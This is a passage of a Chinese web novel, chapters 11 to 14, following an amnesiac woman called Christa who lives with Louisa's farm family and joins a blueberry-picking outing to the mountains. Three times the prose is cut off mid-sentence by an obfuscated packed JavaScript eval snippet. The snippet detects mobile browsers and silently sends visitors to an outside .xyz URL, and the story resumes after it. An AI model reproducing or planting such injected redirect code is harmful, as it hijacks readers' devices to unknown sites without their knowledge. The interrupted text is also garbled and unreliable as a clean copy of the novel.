自从那天路易莎将木箱还给她后,她便再也没有碰过它。 她当下提起那只空木箱放到桌上,第一次探究起这只木箱。 箱体上那些红木纹似乎已经饱经风霜,堪称伤痕累累,但四角包覆着的黄铜护片使箱子看起来仍显得坚不可摧。孔映摩挲并查看一圈,没有特别的发现,于是她拨开两个金属锁扣,像揭开一面镜子那样揭开箱盖。 没有内衬,没有暗格,当然也不会再有两块红砖,木箱内部仅仅由木头包围,无法藏匿任何关于箱子主人的信息,但孔映还是在箱底的一个角落找到了某种痕迹。 她凑得更近,指尖也摩挲向那处,最终确定那里也刻有一颗苹果。 11.一一 苹果,苹果。 为什么是苹果? 箱子究竟属于谁…… 所有问题在纠缠不清,孔映合上箱盖,将木箱放回桌旁。 “孔映说她想当隐居的居士耶。” “可我听说的是她想当魔术师啊。” “不是!她是说魔法师!” 孔映照旧在梦里听见些零碎的话语,这次是一些稚嫩的童声。 “难道这样折腾下去就有意义了吗?” “不要意气用事了,你已经……” “醒来吧,孔映。” 她醒醒睡睡,一次睁开眼睛时,她先是忘记她什么时候睡了过去,然后忘记自己身处何地,最后才发现她还忘记了自己。 像是天地混沌时睁开眼的第一人,她不知道自己该看见什么,不知道该如何让四肢动作,周围的一切在闪动、旋转,没有事物愿意停留在她眼前…… 谁来让这些东西停下? 谁来告诉她,她该怎么离开这里? 她没有救星。 “克莉丝塔!” 她听见熟悉的声音,猛然回想起她是克莉丝塔。 她重新睁开双眼,眼前的事物静止、具体,眼前的人有声音、有动作、有面孔,她和坐来床侧的女孩对视眼,在女孩开口之前撑坐起身,轻轻环抱住她。 床头悬挂的洋甘菊和薰衣草香囊散发出淡淡的芳香,被她抱住的路易莎在这样的空气中微微发愣。 “克莉丝塔,你怎么了?” “我腿麻了。” “……”路易莎满头黑线,“什么嘛,吓我一跳。” 孔映松开她,她的神色像往常那样平静,但看起来认真了许多,她对路易莎说起她的梦:“我做了个梦,梦见自己醒过来,但忘记了一切,甚至忘记该怎么活动四肢。” “可能是因为你本来就失去了记忆,”路易莎稍加思索,补充句,“而且腿麻了。” “不,梦里的我忘记得很彻底,现在的我却不是完全失忆。” “这么说你想起来什么了吗!” “没有,但我现在有认识你以来的全部记忆。”孔映说得认真。 路易莎闻言忽忽失笑。 “为什么要笑?” “虽然这么说是没错,但我指的是在那之前的记忆,我以为对你来说那些才算是记忆。” “可是,你已经是我记忆的一部分了。” 她这样说着,忽然见路易莎抬手压住双颊,还没来得及感到困惑,便听她不可思议地抬高声,问道:“克莉丝塔!你为什么总是能面无表情说出这种话!” 孔映一顿:“什么话?” “一些令人害羞的话。”路易莎松开脸颊,表示她刚刚害羞完。 “是吗?” “当然是!”路易莎微微挑起眉毛,问她,“如果有人告诉你你已经成为她记忆的一部分,你不会忽然害羞到想尖叫吗?” 孔映默然,好像真的在设想那样的场景。 “不过克莉丝塔,这句话太美妙了,我也应该对你说——”她说罢立刻清了清嗓子,正式道,“克莉丝塔,我很肯定你也成为我记忆的一部分了。” 孔映眨眨眼睛,随后微微垂首,像是回味了片刻,然后说:“路易莎,我想我意识到记忆的重要性了。” “欸?是吗?” “是,我之前以为每次唤醒我的是你的声音,但今天才明白唤醒我的其实是我对你的记忆。” 如果没有对路易莎的记忆,她的声音将和虚空中的嘈杂声没有分别。 如果没有一份记忆,她怎样才能在无尽的虚空中得以解脱呢? 路易莎思考着她的话,问:“你是说我每天叫你起床吗?” “差不多是吧。” “虽然不懂这和记忆有什么关系,但是你能意识到过去的重要性就很好!” “但……”孔映又面露迟疑,“但我已经拥有了克莉丝塔的记忆。” 她像是在说人类不必拥有太多记忆,路易莎因此断言:“结果你还是在害怕回想起从前嘛。” 不过她不再劝说她,而是重重耸了下肩,“好吧,那从现在开始多收集一些属于克莉丝塔的记忆吧!也就是说请你快点起床!” “可我的腿麻了。” 路易莎隔着被子轻拍一下她的腿,酥麻的神经令孔映笑起来,路易莎这才从床边起身,笑道:“好啦,我到楼下等你。” - 这天的早餐是农家煎香肠和南瓜浓汤,香肠是珍妮特的妈妈唐娜送来的,煎烤后外皮焦脆,肉汁饱满,一口下去混杂着黑胡椒与烤蒜的辛香,南瓜汤则一如既往的绵密香甜。 作为农场的临时雇工,孔映每天最晚一个起床,几乎没有机会在早晨见到多萝西娅和凯文,但她每天都无一例外地享用着他们准备的食物。 直到享用完早餐,她才有了些临时雇工的觉悟,清洗了洗碗池里的全部餐盘。 这天,农场的新货仓依照计划着手兴建,多萝西娅和凯文早早前去工作,路易莎和孔映则留在家中清洗脏衣物。 洗衣房通往文森特家的后院,院里有一树压得低低的稠李花,只要风来花瓣便簌簌飘落,好似拥有永远掉不尽的花瓣,石砌的水槽旁生长着一些野雏菊和一些像铃铛一样的花,轻轻摇曳…… 所有的植物都如同天气一般,可以以最完美的形态出现在这个世界。 还真是真实又虚幻的世界啊。 “克莉丝塔,下次去镇上时我会给你买新的裙子。” 孔映正揉搓着一条亚麻餐布,忽听路易莎这样说道,扭头看去时,路易莎正将那条洗不净的花边白衬裙挂往晾绳上。 钴蓝色顽固地明亮着,夹在拧干衣物留下的褶皱里,随风飘动。 “它还可以穿,我喜欢蓝色。” “那也应该再买些新衣服,毕竟你来这里时什么也没带……”路易莎说着,又低腰从木盆里捞起一件衣物晾晒。 “谢谢你,路易莎。” 真是包吃包住的好老板。 “或许你可以给我买裤子,我很喜欢你的牛仔套装。”她毫不客气道。 “工作的话的确是穿裤子更方便呢。” 两人顺势谈论起下一次小镇之行,直到将沙发罩也清洗干净夹去晾绳上才结束洗衣的工作。 天气依旧和畅,她们到稠李树下歇上会儿,接着回屋中取出那包碧翠丝赠送的种子来。 “苏珊那里经常有一些神秘种子出售,”路易莎告诉孔映,“谁也不知道会种出什么东西来,也不知道种多久才能开花或者结果,不过我们听说它能结出什么果实来和种下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610674|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它的人息息相关……” 孔映早在听见碧翠丝说起「神秘种子」这样的字眼时就从中窥出些游戏的痕迹,眼下再听路易莎这么说就越发确信。 会不会种出超现实的果实呢? 她畅想着,而路易莎打开了那包种子。 四颗看起来一模一样的种子赫然映入眼帘,路易莎从中匀出两颗递出:“克莉丝塔,我们每人种下两颗吧。” “可这是碧翠丝送给你的。” “我想她是不会介意的。” 她们取来铁锹和水壶,沿着篱笆旁的空地上挖出四个小土坑,分别埋下各自的两颗种子,接着路易莎折回屋中找肥料去。 孔映蹲在篱笆下等待她,出于无所事事抓起团湿润并且夹杂着鲜草的泥土在手中揉捏,不久,一道人影倏忽投落到她身上,她仰起头,逆着光对上一双黑亮的眼。 又是他。 孔映起身来,和黑发的青年面对面而立,一道篱笆阻隔在他们中间。 “你认识我。”她再次肯定道。 这一次阿祖拉没再否认,但也并非承认,而是说:“我不知道。” “……” 这算什么回答? 还有,原来这句话听起来这么令人冒火吗? “抱歉,我现在是个失忆患者,所以你想和我说什么的话请说得明白点,或者直接告诉我我是什么人。”由于面无表情,她说这话时显得冷淡。 同样面无表情的还有阿祖拉,他仍是回答说:“我不知道。” 孔映额角跳了跳:“哦,那你总知道为什么来找我?” “不是找你,只是路过看见你蹲在这里。”他仍然面色无波。 “……” 他这样显得她很自作多情欸。 “随便你,但还请你不要再用那种眼神看我了。” 孔映说罢重新蹲下,似乎是懒得理会他,而路过的人也迟迟未见离开。 好在路易莎已经备好肥料从屋内出来,瞧见篱笆前这一幕静默场面后,她疑惑问道:“咦?阿祖拉,你怎么在这里?” “刚好路过。” 他说完,似乎是证明自己真的只是路过那样转身离开,干脆利落得像是从未在此停下脚步。 路易莎回到篱笆旁,将拎着的麻袋放到腿边,一面望着青年远去的背影嘀咕:“这家伙——”嘀咕声戛然而止,因为她余下的视线瞄见了孔映,当即惊讶不已低下头去,“克莉丝塔,我想就算是贝拉也不会玩泥巴了!” “……” 孔映感觉自己被歧视了,但还是说,“不,我这是在亲近自然。” 路易莎不禁哈哈大笑,好像这是什么奇怪的话:“可我们每时每刻都在亲近自然嘛!你这样太夸张了啦。” 在这里的话,好像是每时每刻都在亲近自然呢,但玩玩泥巴也没错吧。 “咦?”路易莎突然又疑惑声,“你怎么又回来了?” “走错方向了。” 孔映抬头,只见阿祖拉平静回到篱院外,又目不斜视走去相反的方向。 路易莎见状即刻在背后偷笑起来,她则停下捏泥巴的手。 这人绝对不是路过,对吧? 要是他真的知道些什么,会给她添乱吗? 这样的话,她希望他永远缄口不言。 12.一二 出发前往山地的那天早晨,路易莎发现她种下的两颗种子齐齐冒出嫩芽来,她将此视作是可以带给碧翠丝惊喜的一个好消息。 然而,反观孔映堆起的两个小土丘,除了有两只活灵活现的泥人叉腰守在旁侧外,几乎见不到任何生的气息。 此刻孔映埋头蹲在土丘前,似乎在失落。 “唔,不要灰心嘛……”路易莎试图安慰她,结果却只是笑眯眯说上句,“也许它们和你一样,总是醒得比较晚。” “……” 她果然有天然黑属性吧。 不过这话也许不无道理,因为孔映并非在垂头丧气,而是在垂头犯困—— 眼下不过天色熹微,来到这个世界后,她还是第一次起得这样早。 这么想着,她十分应景地打了个哈欠。 “醒醒,克莉丝塔,我们该准备出发了。”路易莎见状催促道。 孔映这才委以重任般拍了拍两个小泥人的肩,起身离开后院。 这天早晨多萝西娅和凯文依旧一早起来,不但准备好早餐,还为她们备好了一些可以在野外填饱肚子的燕麦饼干和面包、灌满水的水囊以及两只可以装蓝莓的编织篮,接着凯文取下壁炉上的猎枪交给路易莎,嘱咐她打几只野兔或者野鸡回来,当然如果能猎到野猪就再好不过了。 路易莎一脸无奈道:“爸爸,我们是去采浆果,不是去狩猎的。”话虽如此,她还是将猎枪背到肩上,询问他,“您真的不和我们一起去吗?” 昨天卢锡安代碧翠丝前来文森特农场邀请路易莎,同时也向多萝西娅和凯文发出邀请,不过多萝西娅与玛莎有约在先,拒绝了此次出行,凯文则需要去车站送货。 虽然说送货的事有老约翰和费尔南多在已经足够令人放心,但凯文还是回绝了路易莎的再次相邀,声称自己许久没有去镇上的杂货商店,也许久不曾拜访那位住在教区的艺术家好友。 “好吧,也替我向他们问好。” 路易莎推开房门,和他们告别,多萝西娅这时亲吻她一下,叮嘱道:“路易,记住我说的话。” “我会的,妈妈。” 孔映留意到她们的对话,萌生些好奇,但这并不是询问的好时机,她只是挎着篮子在院中等待。 鸡舍里传来微弱的动静,但尚未啼鸣,农场仍在沉睡。 她们在一片寂静中朝胡丽安的农舍走去,因为碧翠丝也邀请了胡丽安——胡丽安在住来文森特农场后,曾前去格拉斯农场为碧翠丝检查过几次身体,碧翠丝因此与她结识。 同样收到邀请的还有珍妮特。 比起鲜少离开牧场的唐娜和巴泽尔先生,当然还有布洛克太太来,珍妮特常常四处跑动。她从十岁起就开始带着唐娜的香肠和布洛克太太的农家奶酪四处售卖,迄今几乎整个农场的人都认识她,而格拉斯农场的主人尤其爱吃唐娜做的香肠,曾经还交给珍妮特一头猪让她牵回牧场,请求唐娜为他制作最新鲜的香肠,所以珍妮特常常光顾格拉斯农场,与碧翠丝也称得上是熟稔。 她们约好在胡丽安的农舍前会面,再一同前往格拉斯农场。 熹光之下,凝结在草地上的露水闪烁着银白的光芒,泥土里渗透出夜晚残留的寒意,踩上去比平日更潮软。隔着晨雾,远处层层叠叠又连绵不尽的蓝色山峰显得亦真亦幻。某间农舍的牛棚里传来一阵低沉的哞响,随后又归于寂静…… 孔映与路易莎并肩走在农场的小径上,没有对话,默契地维系着这份静谧。 直到她们即将走到胡丽安的农舍外时,小径另一头的来客才打将这静谧打破—— 一个女孩和两只狗飞奔而来,麦克斯跑在最前面,两只前足同时腾空,又同时落下,在见到她们后直直冲来她们脚边,打着转,不轻不重地用身体和尾巴撞击她们。 “麦克斯,一早就这么活泼上山后会没力气的。”路易莎试图劝阻它。 但麦克斯不懂,只是一味蹦跶。 珍妮特和奥古斯特也紧随其后跑了来,女孩已经气喘吁吁,奥古斯特却优雅立在那里,全然没有刚刚长跑过的狼狈样。 “路易莎姐姐,克莉丝塔姐姐,早安。”珍妮特露出两只酒窝来。 “早安,珍妮特。” “看来我们都很准时,只有胡丽安医生还没出发。” 她们同时望向胡丽安的农舍,窗户内亮着微光,证明主人已经醒来。 “我想是贝拉和西塔两个小家伙在赖床。”路易莎猜测着,一边走进篱院内,前去敲门。 她们在院中等上许久,终于,房门被人打开。 紧接着,一阵新的静默席卷了整个农场。农舍外所有人都鸦雀无声,甚至连问好的能力也暂时被遗忘。 良久,路易莎的嗓子眼里才钻出声音来,有些结巴:“阿、阿祖拉,你怎么会在这里?” 门后站着的正是阿祖拉,他收回落在孔映身上的目光,正视路易莎,回答说:“胡丽安在为贝拉穿衣服,很快就能出发。” “可、可是……” 可她问的是他怎么会在这里! 路易莎好奇得厉害,但似乎觉得再追问一遍显得有失礼貌,于是吞回疑问。 阿祖拉却出乎意料地补充一句:“我在这里借宿了一晚。” “原来如此……”路易莎不知为何竟然有些脸红,然后说,“可我从来不知道你还认识胡丽安!”她说完,不等阿祖拉再回应,又恍悟过来,“不过,她是从尤格利亚来的,你认识她当然不是什么奇怪的事。” 阿祖拉不再言语,目光又一次越过路易莎。 院中,孔映已经蹲下身陪两只狗玩起来。 气氛再度凝固,好在胡丽安总算降服了两个小家伙,牵着她们出来。 “抱歉,让大家久等了。” 她抱歉道,柔和的声线融入早晨的空气中。任何人都会在听见这样的声音后选择原谅她,无论她做错什么。 贝拉和西塔原本还揉着眼睛,但在见到两只大狗后瞬时清醒过来,跑来屋外和孔映一起逗狗,胡丽安也挎上只篮子出屋,并对阿祖拉道:“带上门后的药箱。” 阿祖拉依言照做,最后一个走出农舍。 七人两狗同行前往格拉斯农场,逗狗三人组走在人群最前面,珍妮特稍稍落后,跟在胡丽安和路易莎身侧,她和路易莎一样好奇着阿祖拉的出现,不同的是她还葆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618988|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几分童言无忌的权利,于是她决定大胆问出这份好奇来。 “胡丽安医生,阿祖拉是你的男友吗?” 胡丽安低下头看她,笑道:“当然不是,这家伙闷得厉害,我可不喜欢。” “那他为什么会住在你家呢?” “昨天卢锡安来邀请我们时他正好也在,我看他露出副很希望和我们一起去的样子,只好提议将他也带上,不过他住在镇上,早晨出发的话来不及赶过来,所以只好暂住在我那儿。” 胡丽安说完,回头看一眼走在最后的阿祖拉,眯眼一笑。 珍妮特也跟着回头,她在努力想象阿祖拉露出期待神色的模样,但想象不出。不过,她似乎观察到他有一丝丝脸红。 “噢,我明白了!”珍妮特回转目光,口吻惊喜道。 “明白什么?” 珍妮特压低声音,道:“他喜欢您!所以才不希望你和卢锡安一起去采浆果。” 一旁的路易莎竖起耳朵。 胡丽安却在一愣后捂嘴笑道:“不,珍妮特,这简直大错特错。” “为什么这么说?” “因为阿祖拉喜欢的另有其人呢。” 她毫不顾忌阿祖拉是否会听见,因此可以说在场众人全都听到这句话。 路易莎终于忍耐不住回头看去,破天荒的,她见到了脸颊通红的阿祖拉。如果尤格利亚的信差另有其人的话,那么阿祖拉脸红这则新闻明天就该传遍整个小镇。 “胡丽安,请不要胡说。” 他维系着往日的面无波澜,但显然有些勉强。 “好啦好啦,路易莎,珍妮特,收回眼睛朝前看。”她笑吟吟打趣着,目光落向前方。 珍妮特乖巧收回目光,又低声追问道:“这么说,您认识那位小姐吗?” “抱歉,我其实不太清楚这回事。” “好吧……”珍妮特略显遗憾,但很快转过话题,“那么,胡丽安医生,有没有什么人在追求您呢?” 胡丽安闻言低头看向她,悠悠道:“亲爱的珍妮特,今天之前我一直以为你只关心做生意的事情。” 一丝婉转的责备夹杂在话语中,但因为是以胡丽安式的口吻说出,所以并不会令人难堪。珍妮特听罢只是稍显难为情,吐了吐舌头,收回疑问。 一旁竖起耳朵的路易莎不禁大失所望。 果然是狡猾的胡丽安!又轻描淡写地翻过这一页,装作无事发生。 她暗自腹诽着,这时,与麦克斯玩得不亦乐乎的贝拉突然回过头来,说:“有四个哦!” “贝拉!”西塔喝止她。 “本来就有四个嘛。” “什么四个?”路易莎费解。 贝拉语不惊人死不休道:“胡丽安阿姨有四个追求者哦!” 路易莎当即瞪大眼睛,扭过头去求证。 出乎意料的是,她只在胡丽安脸上见到淡淡的严肃,而这还是她认识胡丽安以来第一次见到她严肃的模样。 气氛一时变得古怪,甚至连孔映也在听见这话后终止了一场头脑风暴。 四个吗? 就算是乙女向恋爱游戏也不过如此吧! 13.一三 “贝拉,请跟我来。” 胡丽安的语气温和如常,贝拉听后鹌鹑似的埋下脑袋,走到她面前伸出一只手。 伸得高高的,像是担心胡丽安长得过高,无法顺利牵到她,但胡丽安牵住了。 她带着小家伙走去足够远的草地上,蹲下身与她面对面交谈,话声在风中吹散,小径上等候的人听不真切。 西塔原地静立会儿,摇了摇头,转身朝一脸担忧的路易莎和珍妮特说道:“请放心,胡丽安阿姨不会和她生气的。” 路易莎原本就想象不出胡丽安生气的样子,眼下不过是因为胡丽安难得的严肃替贝拉捏了把汗而已,因此西塔这话令她宽心不少。但珍妮特不同,即使西塔出言宽慰,她也依然满面羞愧,起初的活泼劲在不安中消失殆尽。 几分钟后,草地上的两人回到队伍中来。 贝拉脸上果然寻不出任何被训斥过的迹象,眨眼便又缠上麦克斯,和它冲去最前面,西塔和奥古斯特则默默跟上。 胡丽安这才回头向众人致歉:“抱歉,我们又耽搁了大家。” “不!应该是我感到抱歉!”珍妮特也低垂头颅,两根棕色麻花辫都尽显苦恼,“我不该问那些没有分寸的话。” “珍妮特,这不是你的问题。” “可我冒犯到您了。” 胡丽安没有否认,而是说:“我们边走边谈。” 一行人再次出发,比起之前,唯一的不同是孔映这次也走在中间,她和路易莎一起听着胡丽安与珍妮特的对话。 “珍妮特,如果说刚刚我感觉到了些许冒犯,那也是因为贝拉,而不是因为你。” “可贝拉是在回答我的提问,如果不是我……” “不错,但真正让我感觉到冒犯的仍然是贝拉。” 胡丽安较真的模样让其余人都有些诧异,只听她接着说,“她触及到了我的往事,而这些事她此前向我承诺过不会跟人提起,所以刚才是她不顾承诺的举动冒犯了我,而你的提问对我而言仅仅是无关痛痒的一句话。” 她的话令路易莎微微晃神。 这并非路易莎第一次知道胡丽安不喜欢谈及往事,但这是她第一次深切感受到胡丽安对往事的回避,甚至连贝拉提起也不行。 她不禁想起克莉丝塔对记忆的逃避来,不同的是克莉丝塔失去了记忆,而胡丽安只是掩藏了记忆。为什么胡丽安会选择掩藏一段记忆呢? “路易莎,如果从前那些记忆都很糟糕,忘记了不是正好吗?” ——她思绪回溯,回忆起克莉丝塔在胡丽安家中时对她的反问。 会是这样吗? “路易莎,你在想什么?” 她听见克莉丝塔小声问她,下意识地放慢脚步,落在胡丽安身后。 “克莉丝塔……”她欲言又止,最后只是说,“我想和你说很多话,但等我们回家再说吧。” 孔映望着她,缓缓点了点头。 等她们再追上前面两人时,胡丽安正对珍妮特说道:“我刚刚也冒犯了阿祖拉,但我并没有感到羞愧。” “……” 这么说来好像是呢。 珍妮特却因为这番话重新露出笑容,适才的阴霾烟消云散:“胡丽安医生,我想我明白了一些。” “那就很好。” “你们在说什么?”路易莎问。 胡丽安转头看向右侧,温和一笑:“在说我们有权不讲分寸,也不必因为分寸感而自我约束,你觉得呢?” 她在问路易莎,但孔映认为胡丽安是在看着自己说这话。 “我认为有道理。” 路易莎刚刚作出思考状就听孔映这样说道,她遂问:“可是,如果我们真的冒犯到对方怎么办呢?” “当然是向他们道歉,仅此而已。” 众人:“……” 似乎是这么个道理。 而胡丽安,说完这话倏尔转身看向几乎被遗忘的阿祖拉,同样转身的当然还有另外三人。 阿祖拉被突如其来的目光包围,脚步骤停,清秀的面庞微微紧绷起来。 胡丽安这才微笑道:“抱歉,阿祖拉,希望您原谅我刚才的自作主张。” “……”阿祖拉沉默须臾,吐出两个字,“随意。” 路易莎暗笑。 她实在想象不到这样一个闷葫芦会有喜欢的女孩,还真是令人好奇—— 会是伊德尔镇的某个女孩吗? 路易莎顺势遐想起伊德尔镇来…… 当她们抵达格拉斯农场时,碧翠丝与卢锡安也已经做好准备,他们备了两架马车,卢锡安和农场的雇工马努各驾一辆,将他们送到北部群山脚下。 碧翠丝第一个跳下马车,双脚落在连片的地衣上。 晨露已晞,阳光普照。 她充满新奇地抬起面孔,仰望四周高低错落的树木。松萝悬挂在冷杉上,藤萝蔓延,山雀在树间跳跃、啼鸣,满地的枯枝散发出浓郁的香味,某棵树后传来窸窣的声响,也许是松鼠,或者鹌鹑…… “这太美妙了。”碧翠丝喃喃低语道。 这时,其余人也都陆续下车来,路易莎与卢锡安均一脸欣慰地瞧望着她。 碧翠丝抬手抹了抹眼角,回身看向其余人,脸颊绯红感激道:“谢谢你们愿意接受我的邀请,这会是我最幸福的一天。” “碧翠丝,你要相信你会更幸福的。” “那一定是在做梦。” “不,那会是真实存在的!”路易莎这样说着,倏尔做出个噤声的手势。 碧翠丝不解,但吞下未尽的话语。 下个瞬间,她便见路易莎摘下了肩上那柄猎枪,干脆利落地上膛,并瞄准她身后某处扣下扳机。 “太棒了,路易莎!” “汪!” 卢锡安与麦克斯同时发出赞叹,谁是卢锡安谁是麦克斯不言而喻。 路易莎反手背好猎枪,转头冲卢锡安灿然一笑,他当即面红耳赤道:“我去捡!” 说完迈开长腿跑开,碧翠丝怔怔然望去,只见他从一棵白松后拎回只血淋淋的野兔来。 “噢不,奥古斯特,这不是我们该看的!”一旁的西塔神色严肃道,并试图捂住一路陪伴她的奥古斯特的眼睛。奥古斯特则用脑袋轻蹭小女孩的掌心,以示安抚。 贝拉则兴冲冲问道:“文森特小姐,我们可以吃烤兔了,对吗?” “唔,如果你想的话,当然可以烤了它,但那是采完浆果之后的事。” “那我们赶紧出发吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645561|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝拉说完就作势朝山路上冲,结果当然是被胡丽安叫停:“山路会很危险,你和西塔要跟紧我。” “好吧。”贝拉甚至不经挣扎地向她妥协,老实又乖巧。 卢锡安这时背过人群去,将野兔放在空地上,路易莎也取出小刀上前,蹲下身为猎物放血,一边向卢锡安说道:“请取些水来,卢锡安。” 卢锡安返回马车旁,从工人马努那里接过一只水囊,再回到路易莎身旁与她一同处理起猎物。 周围的一幕幕落入碧翠丝眼中,她再次情不自禁地湿润了眼眶。 她低下头,为免有人发现,但珍妮特这时出现在她身旁,像是没有留意到她的失态,仅仅示意她凑近并对她耳语几句,随后她便又重展笑颜。 “我可以肯定你说得不错。”她对珍妮特说。 “那你认为我们应该告诉路易莎姐姐吗?” “我想这应该由路易莎小姐自己去发现。” “那么卢锡安少爷呢?” “哥哥的话,单单是仰慕着路易莎小姐就是他的荣幸了。” 珍妮特稍加思索,笑盈盈转开话题:“好吧,那么碧翠丝小姐,请问格拉斯先生最近是否还需要一些香肠?” ——就算是出游也不能落下推销工作呢! 很快,路易莎简单处理好那只野兔,拎着它后腿将它丢进卢锡安的羊皮猎物袋中,回头道:“好吧,出发!” “好耶!” 贝拉欢呼,拉上胡丽安和西塔,三人两狗浩浩荡荡走去最前面,其余人跟随其后。马努没有同行,而是留在山脚下照看马车,孔映离开时注意到他系好吊床并惬意躺下,心生暗羡。 果然她也很喜欢静态的活动呢,有机会她也要换个地方躺躺看。 “克莉丝塔,请不要落在最后!” 她听见路易莎的呼唤,步伐稍稍加快,心下却在默默反驳路易莎—— 她当然没有落在最后,毕竟最后面还跟着个阿祖拉,只不过他的存在感简直稀薄到令人发指罢了。 “路易莎小姐,你这样很像是克莉丝塔小姐的监护者。”碧翠丝因此评价道。 路易莎不禁挠了挠后脑,讪讪一笑:“我有些习惯了。”她看向朝她们走来的孔映,下意识问,“克莉丝塔,我对你是不是太霸道了些?” “是有一些。” 孔映说得面无表情,路易莎却惊得头发都快竖起来,眉毛鼻子顿时皱成一团,道:“真是抱歉,我没想到我这样会给你带来烦恼。” “我没有感到烦恼。” “欸!是吗?可你觉得我很霸道。” “我只是说‘有一些’,而这一些的确没有给我带来烦恼。” 听她说完,路易莎眉头舒展开,但依旧苦恼着,她又看向碧翠丝,问:“碧翠丝,你认为我该怎么做才不那么像她的监护者呢?” 碧翠丝沉吟会儿,笑说:“这很简单。” “怎么说?” “你只需要适当地让克莉丝塔小姐离开你的视线,”她提议道,“比如说,现在让我和克莉丝塔小姐走在你们身后,而你不能回头。” 孔映闻言略带探究地看向碧翠丝,又一次与她视线交汇。 啊,果然是个聪明的少女呢。 14.一四 山径上铺满了短松针和云杉叶,厚厚的一层,踩在脚下轻盈且柔软。孔映低头走着,仔细感受着脚掌落地的触感,良久才抬眼望向前方。 路易莎和卢锡安还有珍妮特走在一处,按照约定,她始终没有回头。 孔映注视会儿,终于侧头看向与她并肩而行的少女,迎上她一开始就停留在自己身上的目光。 “你有话要对我说,对吗?”她出言问。 碧翠丝微微牵起嘴角:“我还以为你会一直装作若无其事,克莉丝塔小姐。” “我也以为你会先开口,毕竟你是故意这么提议的不是吗?” 面对孔映直截了当的反问,碧翠丝承认得也无比坦率:“不错,但这并不意味着我需要先开口,我也可以一直观察你。” 孔映不解她的用意:“为什么?” “因为,我很好奇你究竟是怎样的一个人。” “很高兴我们有同样的好奇。” 碧翠丝对她的话似乎不感意外,但她不再看她,而是收回目光望向前路,并先发制人问道:“那么,你对我有什么发现吗?” “当然,你很聪敏,还很有威慑力。” “为什么这么说?” “那天在马车上时你递给我一个眼神,暗示我不要再追问路易莎,我想你还记得。” 那样的眼神就很有威慑力。当然,她在站台上斥责詹姆斯时的样子也很有说服力。 碧翠丝不置可否,静默会儿,低声道:“而你,克莉丝塔小姐,你像是站在一团迷雾里的人。” 孔映再次扭头看她。 只听碧翠丝接着说:“你很安静,但你的眼睛似乎总在观察或者探究着什么,就好像你站在雾里,我们看不清你的同时你也无法看清我们,所以你才要费力地去探究……” 她说完重新对上孔映的双眼,眉宇间浮起一丝认真的困惑,“但你好像并没有走出那团迷雾的想法。” 孔映再次惊异于她的敏锐,她意识到碧翠丝意外将她来到这个世界后的处境道破。 也许真实和虚幻并非矛盾,而是一团雾模糊了它们。她在雾里伸出触角,探究外面的每一寸真实,但同时又明白知道自己身处雾中,所以那团雾将真实模糊成虚幻的感觉。 “也许吧。”她说,“我认为现在这样就很好。” “当然很好,路易莎小姐会因此更喜欢你。” “……” 这才是你的重点吧。 不过孔映还是接过话问:“为什么这么说?” 碧翠丝顿上一顿,似乎在斟酌用词,许久才双颊薄红说道:“虽然我的提议是有意为之,但感觉却是发自内心的——路易莎小姐的确把自己视作是你的监护人,从我们初次见面时我就这样认为。 “可是,如果不是因为你失去了记忆,如果不是出于将你带回农场的责任心,路易莎小姐不会像现在这样偏爱你,不是吗?” 孔映微怔,似乎没有想过她们的对话会在此落脚。她顺着这话思考起来,而在此之前,她从未就她与路易莎的相处模式展开过思考。 会是这样吗? 路易莎是出于对她的责任心才偏爱她的吗? “不,碧翠丝。” 孔映冷不丁地否定声,碧翠丝为之一惊。 “你说路易莎偏爱我,但其实路易莎像喜欢我一样喜欢每个人。” 碧翠丝却不以为然,固执道:“是你错了,克莉丝塔小姐,因为我能清楚感觉到这其中的不同。” “什么不同?” “我会嫉妒你,而不会嫉妒其他人。” “好耶,我们找到第一丛蓝莓了!”人群最前面传来贝拉的欢呼,“兔子小姐或者兔子先生,请做好被我吃掉的准备吧!” 碧翠丝的话就此打断,她也朝前面喊上声:“路易莎小姐,我宣布你可以回头了。” 路易莎当即停下脚步,回身时叉腰站在原地,夸张道:“哇克莉丝塔,我感觉有一整天没有看见你了。” 碧翠丝意有所指地睇一眼孔映,似乎是在提醒她路易莎的话里只有克莉丝塔一个人。孔映则堪堪从她适才的坦率话语中回神,大约是感到困扰,抬手抓了抓头。 她们回归到最初的状态,并行在山路上。在遇到第一丛蓝莓后,余下的蓝莓灌木也一丛接一丛地绵延出现。 蓝莓树沿着道路倾斜生长,由于枝繁果盛,枝干近乎匍匐在地上。路易莎告诉她们这些是小矮人蓝莓,还有一种高灌蓝莓能在玛莎磨坊后的湿草甸上找到。 众人沿道摘起浆果,孔映却稍显迟滞。 